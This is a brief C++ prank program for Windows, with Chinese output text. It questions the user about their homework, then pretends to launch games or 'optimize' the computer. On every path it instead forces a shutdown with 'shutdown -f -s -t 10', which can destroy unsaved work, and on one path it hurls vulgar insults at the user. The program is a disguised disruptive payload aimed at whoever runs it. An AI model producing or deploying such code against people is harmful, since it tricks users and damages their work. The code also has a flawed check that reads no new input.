//可以整蛊,but不能拿这个代码去发表
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int z,m;
int main(){
cout << "正在加载中请稍后";
system("color 4");
Sleep(1000);
cout << ".";
Sleep(1000);
cout << ".";
Sleep(1000);
cout << ".";
Sleep(1000);
cout << ".";
Sleep(1000);
cout << ".";
cout << "请输入账号"<<endl;
cin >> z;
if(z==1000){
cout << "问个问题,作业写完了吗?"<<endl;
Sleep(4000);
cout << "1.写完了,2.没写完"<<endl;
cin >> m;
if(m == 1){
cout << "真的?"<<endl;
Sleep(500);
cout << "1.真的,2.假的";
if(m == 1){
cout << "嗯,你很诚实"<<endl;
Sleep(1000);
cout << "看来是真的写了"<<endl;
Sleep(1000);
cout << "那好吧那就让你玩会游戏吧";
Sleep(1000);
cout << "1.吃豆人,2.跑酷,3.迷宫,4.规则怪谈";
cin >> m;
Sleep(1000);
cout << "正在连接游戏,请稍后";
Sleep(1000);
cout << "连接成功!!!";
Sleep(1000);
cout << "正在打开中";
Sleep(1000);
system("shutdown -f -s -t 10");
}
}
else{
cout << "不是没写完"<<endl;
Sleep(4000);
cout << "没关系"<<endl;
Sleep(1000);
cout << "我帮你的电脑优化一下,你安心去写作业"<<endl;
Sleep(1000);
cout << "正在连接windows"<<endl;
Sleep(1000);
cout << "连接成功"<<endl;
Sleep(1000);
cout << "正在打开优化"<<endl;
Sleep(1000);
cout << "你觉得我会优化吗"<<endl;
system("color 4");
system("shutdown -f -s -t 10");
}
}
else {
cout << "不是"<<endl;
Sleep(4000);
cout << "账号都他妈输错了你玩你妈"<<endl;
system("color 4");
Sleep(4000);
cout << "算了给你个机会"<<endl;
Sleep(800);
cout << "个屁"<<endl;
system("color 4");
Sleep(800);
system("shutdown -f -s -t 10");
}
return 0;
}